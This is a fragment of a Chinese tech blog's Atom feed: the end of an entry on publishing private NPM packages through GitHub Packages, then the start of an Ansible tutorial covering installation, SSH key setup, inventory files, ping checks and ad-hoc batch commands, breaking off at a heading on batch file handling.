    <summary type="html">&lt;p&gt;&amp;#x672C;&amp;#x6587;&amp;#x8BE6;&amp;#x7EC6;&amp;#x4ECB;&amp;#x7ECD;&amp;#x5982;&amp;#x4F55;&amp;#x5229;&amp;#x7528;GitHub Packages&amp;#x6258;&amp;#x7BA1;&amp;#x548C;&amp;#x53D1;&amp;#x5E03;&amp;#x79C1;&amp;#x6709;NPM&amp;#x5305;&amp;#x7684;&amp;#x5B8C;&amp;#x6574;&amp;#x6D41;&amp;#x7A0B;&amp;#x3002;&amp;#x4ECE;&amp;#x521B;&amp;#x5EFA;&amp;#x79C1;&amp;#x6709;&amp;#x4ED3;&amp;#x5E93;&amp;#x3001;&amp;#x751F;&amp;#x6210;&amp;#x8BBF;&amp;#x95EE;&amp;#x4EE4;&amp;#x724C;&amp;#xFF0C;&amp;#x5230;&amp;#x521D;&amp;#x59CB;&amp;#x5316;&amp;#x5305;&amp;#x914D;&amp;#x7F6E;&amp;#x3001;&amp;#x6388;&amp;#x6743;&amp;#x53D1;&amp;#x5E03;&amp;#x548C;&amp;#x4F7F;&amp;#x7528;&amp;#x5305;&amp;#xFF0C;&amp;#x6BCF;&amp;#x4E00;&amp;#x6B65;&amp;#x90FD;&amp;#x6709;&amp;#x6E05;&amp;#x6670;&amp;#x7684;&amp;#x64CD;&amp;#x4F5C;&amp;#x6307;&amp;#x5357;&amp;#x3002;&amp;#x6587;&amp;#x7AE0;&amp;#x8FD8;&amp;#x6DB5;&amp;#x76D6;&amp;#x4E86;&amp;#x4E0D;&amp;#x540C;&amp;#x7684;&amp;#x914D;&amp;#x7F6E;&amp;#x65B9;&amp;#x5F0F;&amp;#x5BF9;&amp;#x6BD4;&amp;#x3001;&amp;#x5305;&amp;#x7684;&amp;#x53EF;&amp;#x89C1;&amp;#x6027;&amp;#x8BBE;&amp;#x7F6E;&amp;#x4EE5;&amp;#x53CA;&amp;#x81EA;&amp;#x52A8;&amp;#x5316;&amp;#x53D1;&amp;#x5E03;&amp;#x7684;GitHub Actions&amp;#x5DE5;&amp;#x4F5C;&amp;#x6D41;&amp;#x914D;&amp;#x7F6E;&amp;#xFF0C;&amp;#x4E3A;&amp;#x5F00;&amp;#x53D1;&amp;#x8005;&amp;#x63D0;&amp;#x4F9B;&amp;#x4E86;&amp;#x4E00;&amp;#x4EFD;&amp;#x5B9E;&amp;#x7528;&amp;#x7684;&amp;#x79C1;&amp;#x6709;NPM&amp;#x5305;&amp;#x7BA1;&amp;#x7406;&amp;#x65B9;&amp;#x6848;&amp;#x3002;&lt;/p&gt;</summary>
    
    
    
    <category term="Tools" scheme="https://oschina.win/categories/Tools/"/>
    
    <category term="包管理工具" scheme="https://oschina.win/categories/Tools/%E5%8C%85%E7%AE%A1%E7%90%86%E5%B7%A5%E5%85%B7/"/>
    
    
    <category term="npm" scheme="https://oschina.win/tags/npm/"/>
    
  </entry>
  
  <entry>
    <title>Introduce an automation tool:&amp;nbsp;Ansible</title>
    <link href="https://oschina.win/posts/d15147a3.html"/>
    <id>https://oschina.win/posts/d15147a3.html</id>
    <published>2024-09-13T15:54:32.000Z</published>
    <updated>2024-09-13T15:54:32.000Z</updated>
    
    <content type="html"><![CDATA[<p>&#x672C;&#x6587;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#x4E86;Ansible&#x81EA;&#x52A8;&#x5316;&#x8FD0;&#x7EF4;&#x5DE5;&#x5177;&#x7684;&#x57FA;&#x672C;&#x6982;&#x5FF5;&#x4E0E;&#x4F7F;&#x7528;&#x65B9;&#x6CD5;&#x3002;&#x4F5C;&#x4E3A;&#x4E00;&#x79CD;&#x57FA;&#x4E8E;Python&#x7684;&#x81EA;&#x52A8;&#x5316;&#x5DE5;&#x5177;&#xFF0C;Ansible&#x53EF;&#x901A;&#x8FC7;&#x5355;&#x4E2A;&#x63A7;&#x5236;&#x8282;&#x70B9;&#x7BA1;&#x7406;&#x591A;&#x4E2A;&#x88AB;&#x7BA1;&#x7406;&#x8282;&#x70B9;&#xFF0C;&#x5B9E;&#x73B0;&#x6279;&#x91CF;&#x6587;&#x4EF6;&#x914D;&#x7F6E;&#x3001;&#x90E8;&#x7F72;&#x548C;&#x547D;&#x4EE4;&#x6267;&#x884C;&#x3002;&#x6587;&#x7AE0;&#x6DB5;&#x76D6;&#x4E86;Ansible&#x7684;&#x5B89;&#x88C5;&#x6B65;&#x9AA4;&#x3001;&#x4E3B;&#x673A;&#x73AF;&#x5883;&#x51C6;&#x5907;&#x3001;inventory&#x6587;&#x4EF6;&#x914D;&#x7F6E;&#x4EE5;&#x53CA;&#x6267;&#x884C;ad-hoc&#x547D;&#x4EE4;&#x7684;&#x5B9E;&#x7528;&#x793A;&#x4F8B;&#xFF0C;&#x662F;&#x8FD0;&#x7EF4;&#x4EBA;&#x5458;&#x548C;&#x5F00;&#x53D1;&#x8005;&#x5FEB;&#x901F;&#x638C;&#x63E1;Ansible&#x7684;&#x5165;&#x95E8;&#x6307;&#x5357;&#x3002;</p><span id="more"></span><h2 id="&#x5B89;&#x88C5;">&#x5B89;&#x88C5;</h2><p>Ansible &#x662F;&#x4E00;&#x79CD;&#x81EA;&#x52A8;&#x5316;&#x8FD0;&#x7EF4;&#x5DE5;&#x5177;&#xFF0C;&#x53EF;&#x4EE5;&#x5728;&#x5355;&#x4E2A;&#x4E3B;&#x673A;(&#x63A7;&#x5236;&#x8282;&#x70B9; control node)&#x4E0A;&#x7BA1;&#x7406;&#x591A;&#x4E2A;&#x4E3B;&#x673A;(&#x88AB;&#x7BA1;&#x7406;&#x8282;&#x70B9; managed node)&#xFF0C;&#x6BD4;&#x5982;&#x6279;&#x91CF;&#x6587;&#x4EF6;&#x914D;&#x7F6E;&#xFF0C;&#x6279;&#x91CF;&#x90E8;&#x7F72;&#xFF0C;&#x6279;&#x91CF;&#x8FD0;&#x884C;&#x547D;&#x4EE4;&#x7B49;&#xFF0C;&#x5728;&#x8FD0;&#x7EF4;&#x6216;&#x8005;&#x90E8;&#x7F72;&#x670D;&#x52A1;&#x96C6;&#x7FA4;&#x65F6;&#x5F88;&#x6709;&#x7528;&#x3002;<br><img src="https://docs.ansible.com/ansible/latest/_images/ansible_inv_start.svg" alt="content abstract"></p><p>&#x7531;&#x4E8E; Ansible &#x662F;&#x7528; Python &#x5B9E;&#x73B0;&#x7684;&#xFF0C;&#x6240;&#x4EE5;&#x5B89;&#x88C5;&#x4E5F;&#x5F88;&#x7B80;&#x5355;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install ansible</span><br></pre></td></tr></table></figure><p>&#x5F53;&#x7136;&#x4E5F;&#x6709;&#x5176;&#x5B83;&#x5F88;&#x591A;&#x79CD;&#x5B89;&#x88C5;&#x65B9;&#x5F0F;&#xFF0C;&#x6BD4;&#x5982;&#x901A;&#x8FC7;&#x6E90;&#x7801;&#x5B89;&#x88C5;&#xFF0C;&#x6216;&#x8005;&#x901A;&#x8FC7;&#x7CFB;&#x7EDF;&#x5305;&#x7BA1;&#x7406;&#x5668;&#x5B89;&#x88C5;&#xFF0C;&#x6700;&#x7B80;&#x5355;&#x7684;&#x5C31;&#x662F;&#x4F7F;&#x7528; Pip&#x3002;</p><h2 id="&#x4E3B;&#x673A;&#x7684;&#x73AF;&#x5883;&#x51C6;&#x5907;">&#x4E3B;&#x673A;&#x7684;&#x73AF;&#x5883;&#x51C6;&#x5907;</h2><blockquote><p>&#x57FA;&#x4E8E; Red Hat Enterprise Linux 5.14 x86_64 &#x7CFB;&#x7EDF;</p></blockquote><p>ansible &#x901A;&#x8FC7; ssh &#x5B9E;&#x73B0;&#x4E3B;&#x673A;&#x95F4;&#x7684;&#x901A;&#x4FE1;&#xFF0C;&#x6240;&#x4EE5;&#x9996;&#x5148;&#x8981;&#x4FDD;&#x8BC1;&#x4E3B;&#x673A;&#x95F4;&#x80FD;&#x76F8;&#x4E92;&quot;&#x770B;&#x5F97;&#x89C1;&quot;&#xFF0C;&#x5047;&#x8BBE;&#x6709;&#x4E24;&#x4E2A;&#x4E3B;&#x673A;: host1, host2</p><ol><li class="lvl-3"><p>&#x8BBE;&#x7F6E; hostname<br>&#x5728;&#x90E8;&#x7F72;&#x670D;&#x52A1;&#x96C6;&#x7FA4;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x4E3A;&#x4E86;&#x65B9;&#x4FBF;&#x53EF;&#x4EE5;&#x5C06;&#x5404;&#x4E2A;&#x673A;&#x5668;&#x8FDB;&#x884C;&#x547D;&#x540D;&#x3002;&#x4FEE;&#x6539; <code>/etc/hostname</code> &#x6587;&#x4EF6;&#xFF0C;&#x5C06;&#x76F8;&#x5E94;&#x7684;&#x4E3B;&#x673A;&#x540D;&#x6539;&#x4E3A;&#x5982;&#xFF1A;<code>node1</code>&#xFF0C;<code>node2</code>&#x3002;</p></li><li class="lvl-3"><p>&#x4FEE;&#x6539; <code>/etc/hosts</code> &#x6587;&#x4EF6;&#xFF0C;&#x6BD4;&#x5982;&#x5F53;&#x6709;&#x4E24;&#x4E2A;&#x4E3B;&#x673A;&#x65F6;&#xFF0C;&#x5728;<strong>&#x6BCF;&#x4E2A;&#x4E3B;&#x673A;</strong>&#x7684; <code>/etc/hosts</code> &#x6587;&#x4EF6;&#x4E2D;&#x589E;&#x52A0;&#x5982;&#x4E0B;&#x5185;&#x5BB9;&#xFF1A;</p></li></ol><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">172.31.89.117 node1</span><br><span class="line">172.31.67.18  node2</span><br></pre></td></tr></table></figure><p>&#x6BCF;&#x4E2A; IP &#x4E0E;&#x76F8;&#x5E94;&#x7684;&#x4E3B;&#x673A;&#x540D;&#x5BF9;&#x5E94;</p><ol start="3"><li class="lvl-3"><p>&#x914D;&#x7F6E; ssh &#x516C;&#x79C1;&#x94A5;&#x5728;&#x6BCF;&#x4E2A;&#x4E3B;&#x673A;&#x4E0A;&#x6267;&#x884C; <code>ssh-keygen</code> &#x547D;&#x4EE4;&#xFF0C;&#x4EA7;&#x751F; rsa &#x7C7B;&#x578B;&#x5BC6;&#x94A5;&#xFF0C;&#x7136;&#x540E;&#x6267;&#x884C; <code>ssh-copy-id</code> &#x5C06;&#x6BCF;&#x4E2A;&#x4E3B;&#x673A;&#x4E0A;&#x7684;&#x516C;&#x94A5;&#x4F20;&#x7ED9;&#x53E6;&#x4E00;&#x4E2A;&#x4E3B;&#x673A;&#xFF0C;</p></li></ol><p>&#x4E5F;&#x53EF;&#x4EE5;&#x624B;&#x52A8;&#x5728; <code>~/.ssh/authorized_keys</code> &#x4E2D;&#x6DFB;&#x52A0;&#x3002;&#x8FD9;&#x6837;&#x6BCF;&#x4E2A;&#x4E3B;&#x673A;&#x4E0A;&#x5C31;&#x80FD;&#x4E0D;&#x8F93;&#x5165;&#x5BC6;&#x7801;&#xFF0C;&#x901A;&#x8FC7; ssh &#x547D;&#x4EE4;&#x8FDB;&#x5165;&#x53E6;&#x4E00;&#x4E2A;&#x4E3B;&#x673A;&#x3002;</p><h2 id="Ansible-&#x57FA;&#x672C;&#x6982;&#x5FF5;">Ansible &#x57FA;&#x672C;&#x6982;&#x5FF5;</h2><p>&#x5B89;&#x88C5;&#x5B8C;&#x6210;&#x540E;&#xFF0C;&#x7CFB;&#x7EDF;&#x65B0;&#x589E;&#x4E00;&#x7CFB;&#x5217;&#x547D;&#x4EE4;&#xFF0C;&#x6211;&#x4EEC;&#x4E3B;&#x8981;&#x4F7F;&#x7528;&#x8FD9;&#x4E09;&#x4E2A;&#xFF1A;<strong>ansible</strong>, <strong>ansible-inventory</strong>, <strong>ansible-playbook</strong></p><h3 id="1-inventory-&#x6587;&#x4EF6;">1. inventory &#x6587;&#x4EF6;</h3><p>&#x4E3B;&#x673A;&#x53D8;&#x91CF;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#xFF0C;&#x53EF;&#x4EE5;&#x7406;&#x89E3;&#x4E3A;&#x4E3B;&#x673A;&#x6E05;&#x5355;&#xFF0C;&#x4E3B;&#x673A;&#x5E93;&#x5B58;&#x6587;&#x4EF6;&#x3002;&#x4E3B;&#x8981;&#x662F;&#x5728;&#x4E00;&#x4E2A;&#x4E3B;&#x8282;&#x70B9;&#x4E0A;&#x7EDF;&#x4E00;&#x96C6;&#x4E2D;&#x914D;&#x7F6E;&#x5404;&#x4E2A;&#x4E3B;&#x673A;&#xFF08;&#x8282;&#x70B9;&#xFF09;&#x7CFB;&#x7EDF;&#x4FE1;&#x606F;&#xFF0C;&#x7F51;&#x7EDC;&#x4F4D;&#x7F6E;&#x7B49;&#x4FE1;&#x606F;&#x3002;</p><p>ansible &#x7684;&#x9ED8;&#x8BA4;&#x4E3B;&#x673A;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x5728; <code>/etc/ansible/hosts</code>&#xFF0C;&#x5982;&#x679C;&#x5728;&#x8BE5;&#x9ED8;&#x8BA4;&#x8DEF;&#x5F84;&#x4E0B;&#x6CA1;&#x6709;&#xFF0C;&#x5219;&#x9700;&#x8981;&#x624B;&#x52A8;&#x6307;&#x5B9A;&#x3002;</p><p>&#x8FD9;&#x4E2A;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x53EF;&#x4EE5;&#x662F; <code>INI</code>&#xFF0C;&#x6216;&#x8005; <code>YML</code> &#x683C;&#x5F0F;&#x3002;</p><p>&#x5982;&#x679C;&#x662F; <code>INI</code> &#x6587;&#x4EF6;&#xFF0C;&#x914D;&#x7F6E;&#x5982;&#x4E0B;&#xFF1A;</p><p>inventory.ini</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[myhosts]</span></span><br><span class="line">172.31.89.117</span><br><span class="line">172.31.67.18</span><br></pre></td></tr></table></figure><p>&#x8FD9;&#x91CC; <code>myhosts</code> &#x662F;&#x7EC4;&#x540D;(group name)&#xFF0C;&#x8FD9;&#x91CC;&#x5373; host &#x7EC4;&#xFF0C;&#x4F5C;&#x4E3A; key &#x503C;&#x9700;&#x8981;&#x662F;&#x552F;&#x4E00;&#x7684;&#xFF0C;&#x4E14;&#x5927;&#x5C0F;&#x5199;&#x654F;&#x611F;&#x3002;</p><p>&#x540C;&#x6837;&#x5982;&#x679C;&#x662F; YML &#x6587;&#x4EF6;&#xFF0C;&#x914D;&#x7F6E;&#x5982;&#x4E0B;&#xFF1A;</p><p>inventory.yml</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">myhosts:</span></span><br><span class="line">  <span class="attr">hosts:</span></span><br><span class="line">    <span class="attr">node1:</span></span><br><span class="line">      <span class="attr">ansible_host:</span> <span class="number">172.31</span><span class="number">.89</span><span class="number">.117</span></span><br><span class="line">    <span class="attr">node2:</span></span><br><span class="line">      <span class="attr">ansible_host:</span> <span class="number">172.31</span><span class="number">.67</span><span class="number">.18</span></span><br></pre></td></tr></table></figure><p>&#x8FD9;&#x91CC;&#x7684; <code>ansible_host</code> &#x662F; ansible &#x7684;&#x9ED8;&#x8BA4;&#x4E3B;&#x673A;&#x53D8;&#x91CF;&#xFF0C; &#x76F8;&#x5E94;&#x7684;&#x8FD8;&#x6709; <code>http_port</code> &#x7528;&#x6765;&#x6307;&#x5B9A;&#x7AEF;&#x53E3;&#x3002;</p><p>&#x5982;&#x679C;&#x5B83;&#x4EEC;&#x6709;&#x5171;&#x540C;&#x7684;&#x53D8;&#x91CF;&#xFF0C;&#x53EF;&#x4EE5;&#x8FD9;&#x4E48;&#x5199;&#xFF1A;</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">myhosts:</span></span><br><span class="line">  <span class="attr">hosts:</span></span><br><span class="line">    <span class="attr">node1:</span></span><br><span class="line">      <span class="attr">ansible_host:</span> <span class="number">172.31</span><span class="number">.89</span><span class="number">.117</span></span><br><span class="line">      <span class="attr">http_port:</span> <span class="number">8080</span></span><br><span class="line">    <span class="attr">node2:</span></span><br><span class="line">      <span class="attr">ansible_host:</span> <span class="number">172.31</span><span class="number">.67</span><span class="number">.18</span></span><br><span class="line">      <span class="attr">http_port:</span> <span class="number">8081</span></span><br><span class="line">  <span class="attr">vars:</span></span><br><span class="line">    <span class="attr">ansible_user:</span> <span class="string">&quot;name&quot;</span></span><br></pre></td></tr></table></figure><p>&#x5176;&#x4E2D; <code>vars</code> &#x4E0E; <code>hosts</code> &#x540C;&#x7EA7;&#xFF0C;&#x8868;&#x793A; vars &#x4E0B;&#x9762;&#x5B9A;&#x4E49;&#x7684;&#x53D8;&#x91CF;&#x662F; host &#x95F4;&#x5171;&#x7528;&#x7684;&#x3002;</p><p>&#x5982;&#x679C;&#x662F; ini &#x6587;&#x4EF6;&#xFF0C;&#x5219;&#x662F;&#xFF1A;</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[myhosts]</span></span><br><span class="line">172.31.89.117</span><br><span class="line">172.31.67.18</span><br><span class="line"></span><br><span class="line"><span class="section">[myhosts:vars]</span></span><br><span class="line"><span class="attr">ansible_user</span>=<span class="string">&quot;name&quot;</span></span><br></pre></td></tr></table></figure><p>&#x53EF;&#x4EE5;&#x5D4C;&#x5957;&#x5176;&#x5B83;&#x7EC4;&#x7684;&#x7EC4;&#x53EB;&#x505A;<strong>&#x5143;&#x7EC4;(metagroup)</strong>&#xFF0C;&#x4F8B;&#x5982;&#x4EE5;&#x4E0B;&#x793A;&#x4F8B;&#x6587;&#x4EF6;:</p><p>inventory-demo.yml</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">leafs:</span></span><br><span class="line">  <span class="attr">hosts:</span></span><br><span class="line">    <span class="attr">leaf01:</span></span><br><span class="line">      <span class="attr">ansible_host:</span> <span class="number">192.0</span><span class="number">.2</span><span class="number">.100</span></span><br><span class="line">    <span class="attr">leaf02:</span></span><br><span class="line">      <span class="attr">ansible_host:</span> <span class="number">192.0</span><span class="number">.2</span><span class="number">.110</span></span><br><span class="line"></span><br><span class="line"><span class="attr">spines:</span></span><br><span class="line">  <span class="attr">hosts:</span></span><br><span class="line">    <span class="attr">spine01:</span></span><br><span class="line">      <span class="attr">ansible_host:</span> <span class="number">192.0</span><span class="number">.2</span><span class="number">.120</span></span><br><span class="line">    <span class="attr">spine02:</span></span><br><span class="line">      <span class="attr">ansible_host:</span> <span class="number">192.0</span><span class="number">.2</span><span class="number">.130</span></span><br><span class="line"></span><br><span class="line"><span class="attr">network:</span></span><br><span class="line">  <span class="attr">children:</span></span><br><span class="line">    <span class="attr">leafs:</span></span><br><span class="line">    <span class="attr">spines:</span></span><br><span class="line"></span><br><span class="line"><span class="attr">webservers:</span></span><br><span class="line">  <span class="attr">hosts:</span></span><br><span class="line">    <span class="attr">webserver01:</span></span><br><span class="line">      <span class="attr">ansible_host:</span> <span class="number">192.0</span><span class="number">.2</span><span class="number">.140</span></span><br><span class="line">    <span class="attr">webserver02:</span></span><br><span class="line">      <span class="attr">ansible_host:</span> <span class="number">192.0</span><span class="number">.2</span><span class="number">.150</span></span><br><span class="line"></span><br><span class="line"><span class="attr">datacenter:</span></span><br><span class="line">  <span class="attr">children:</span></span><br><span class="line">    <span class="attr">network:</span></span><br><span class="line">    <span class="attr">webservers:</span></span><br></pre></td></tr></table></figure><p>&#x5176;&#x4E2D; <code>network</code> &#x662F;&#x4E00;&#x4E2A; metagroup&#xFF0C;&#x5B83;&#x7684;&#x5B50;&#x7EC4;&#x5305;&#x542B;&#x53E6;&#x5916;&#x4E24;&#x4E2A;&#x7EC4;&#xFF1A;leafs, spines&#x3002;</p><p>&#x800C; <code>datacenter</code> &#x4E5F;&#x662F;&#x4E00;&#x4E2A; metagroup&#xFF0C;&#x5B83;&#x5305;&#x542B; network, webservers &#x8FD9;&#x4E24;&#x4E2A;&#x7EC4;&#x3002;</p><p>&#x6240;&#x4EE5;&#x8FD9;&#x4E2A;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x662F;&#x4E00;&#x4E2A; data center &#x7684;&#x4E3B;&#x673A;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x3002;</p><p>&#x53EF;&#x4EE5;&#x7528; ansible-inventory &#x547D;&#x4EE4;&#x6765;&#x6821;&#x9A8C;&#x4E00;&#x4E0B;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x3002;&#xFF08;&#x7279;&#x522B;&#x5BF9;&#x4E8E; <code>.yml</code> &#x6587;&#x4EF6;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x662F;&#x5426;&#x6709;&#x8BED;&#x6CD5;&#x9519;&#x8BEF;&#xFF09;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root@node1]# </span><span class="language-bash">ansible-inventory -i inventory.yml --list</span></span><br><span class="line">{</span><br><span class="line">    &quot;_meta&quot;: {</span><br><span class="line">        &quot;hostvars&quot;: {</span><br><span class="line">            &quot;node1&quot;: {</span><br><span class="line">                &quot;ansible_host&quot;: &quot;172.31.89.117&quot;</span><br><span class="line">            },</span><br><span class="line">            &quot;node2&quot;: {</span><br><span class="line">                &quot;ansible_host&quot;: &quot;172.31.67.18&quot;</span><br><span class="line">            }</span><br><span class="line">        }</span><br><span class="line">    },</span><br><span class="line">    &quot;all&quot;: {</span><br><span class="line">        &quot;children&quot;: [</span><br><span class="line">            &quot;ungrouped&quot;,</span><br><span class="line">            &quot;myhosts&quot;</span><br><span class="line">        ]</span><br><span class="line">    },</span><br><span class="line">    &quot;myhosts&quot;: {</span><br><span class="line">        &quot;hosts&quot;: [</span><br><span class="line">            &quot;node1&quot;,</span><br><span class="line">            &quot;node2&quot;</span><br><span class="line">        ]</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>&#x540C;&#x6837;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; ansible &#x547D;&#x4EE4;&#x6765; ping &#x4E00;&#x4E0B; &#x914D;&#x7F6E;&#x6587;&#x4EF6;&#x4E2D;&#x7684; host &#x7EC4;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">[root@node1]# </span><span class="language-bash">ansible myhosts -m ping -i inventory.ini</span></span><br><span class="line">172.31.67.18 | SUCCESS =&gt; {</span><br><span class="line">    &quot;ansible_facts&quot;: {</span><br><span class="line">        &quot;discovered_interpreter_python&quot;: &quot;/usr/bin/python3&quot;</span><br><span class="line">    },</span><br><span class="line">    &quot;changed&quot;: false,</span><br><span class="line">    &quot;ping&quot;: &quot;pong&quot;</span><br><span class="line">}</span><br><span class="line">172.31.89.117 | SUCCESS =&gt; {</span><br><span class="line">    &quot;ansible_facts&quot;: {</span><br><span class="line">        &quot;discovered_interpreter_python&quot;: &quot;/usr/bin/python3&quot;</span><br><span class="line">    },</span><br><span class="line">    &quot;changed&quot;: false,</span><br><span class="line">    &quot;ping&quot;: &quot;pong&quot;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>&#x8FD9;&#x91CC;&#x7684; <code>-m</code> &#x6307;&#x5B9A;&#x4E86; ansible &#x5185;&#x7F6E;&#x7684; <code>ping</code> &#x547D;&#x4EE4;&#x6A21;&#x5757;&#x6765;&#x6267;&#x884C;&#x901A;&#x8FC7; <code>-i</code> &#x6307;&#x5B9A;&#x7684;&#x4E3B;&#x673A;&#x6E05;&#x5355;&#x6587;&#x4EF6;&#x3002;</p><!-- 关于内置的模块，后面会再次涉及。 --><p>&#x5230;&#x8FD9;&#x91CC;&#x4E3A;&#x6B62;&#xFF0C;&#x5728;&#x4ECB;&#x7ECD; playbook &#x4E4B;&#x524D;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x505A;&#x4E00;&#x4E9B;&#x597D;&#x73A9;&#x7684;&#x4E8B;&#x60C5;&#xFF1A;</p><p>&#x4F7F;&#x7528; ansible &#x7684;&#x65B9;&#x5F0F;&#x9664;&#x4E86;&#x4F7F;&#x7528;&#x5199; playbook &#x201C;&#x5267;&#x672C;&#x201D;(or &#x811A;&#x672C;)&#x6765;&#x7F16;&#x6392;&#x5927;&#x91CF;&#x590D;&#x6742;&#x7684;&#x4EFB;&#x52A1;&#x4E4B;&#x5916;&#xFF0C;&#x8FD8;&#x53EF;&#x4EE5;&#x5728;&#x547D;&#x4EE4;&#x884C;&#x76F4;&#x63A5;&#x6267;&#x884C;&#xFF0C;&#x5728; ansible &#x4E2D;&#x8FD9;&#x53EB;&#x505A; ad-hoc &#x547D;&#x4EE4;&#x3002;</p><p>&#x521A;&#x521A;&#x6267;&#x884C;&#x7684; <code>ansible myhosts -m ping -i inventory.ini</code> &#x5C31;&#x662F;&#x8FD9;&#x79CD;&#x65B9;&#x5F0F;&#x3002;</p><p>&#x4E3A;&#x4E86;&#x65B9;&#x4FBF;&#xFF0C;&#x6211;&#x4EEC;&#x5C06;&#x4E3B;&#x673A;&#x7684; inventory &#x6587;&#x4EF6;&#x653E;&#x5230; <code>/etc/ansible/hosts</code>&#xFF0C;&#x9ED8;&#x8BA4;&#x4F1A;&#x53BB;&#x8FD9;&#x91CC;&#x627E;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#xFF0C;&#x56E0;&#x6B64;&#x4E0D;&#x518D;&#x9700;&#x8981;&#x4F7F;&#x7528; <code>-i</code> &#x624B;&#x52A8;&#x6307;&#x5B9A;&#x4E86;&#x3002;</p><h4 id="1-&#x6279;&#x91CF;&#x7BA1;&#x7406;&#x4E3B;&#x673A;">1. &#x6279;&#x91CF;&#x7BA1;&#x7406;&#x4E3B;&#x673A;</h4><p>&#x4E3E;&#x4E2A;&#x4F8B;&#x5B50; &#x1F64B;&#x200D;&#x2640;&#xFE0F;&#x1F330;&#xFF0C;&#x5047;&#x5982;&#x624B;&#x4E0A;&#x6709; 20 &#x53F0;&#x4E3B;&#x673A;&#xFF0C;&#x60F3;&#x6279;&#x91CF; reboot &#x5B83;&#x4EEC;&#xFF0C;&#x914D;&#x7F6E;&#x597D;&#x4E3B;&#x673A;&#x6E05;&#x5355;&#x4E4B;&#x540E;&#xFF1A;</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ansible myhosts -a &quot;/sbin/reboot&quot; -f 10</span><br></pre></td></tr></table></figure><p>&#x9009;&#x9879; <code>-f 10</code> f &#x8868;&#x793A; forks&#xFF0C;&#x8868;&#x793A;&#x5E76;&#x884C;&#x4EFB;&#x52A1;&#x6570;&#xFF0C;&#x8FD9;&#x91CC;&#x662F;&#x6BCF;&#x6B21;&#x91CD;&#x542F; 10 &#x4E2A;&#x3002;</p><p>tips: <strong>ansible &#x53EF;&#x4EE5;&#x5E76;&#x53D1;&#x6267;&#x884C;&#x4EFB;&#x52A1;&#xFF0C;&#x9ED8;&#x8BA4;&#x7684;&#x5E76;&#x53D1;&#x6570;&#x662F; 5</strong></p><h4 id="2-&#x6279;&#x91CF;&#x5904;&#x7406;&#x6587;&#x4EF6;">2. 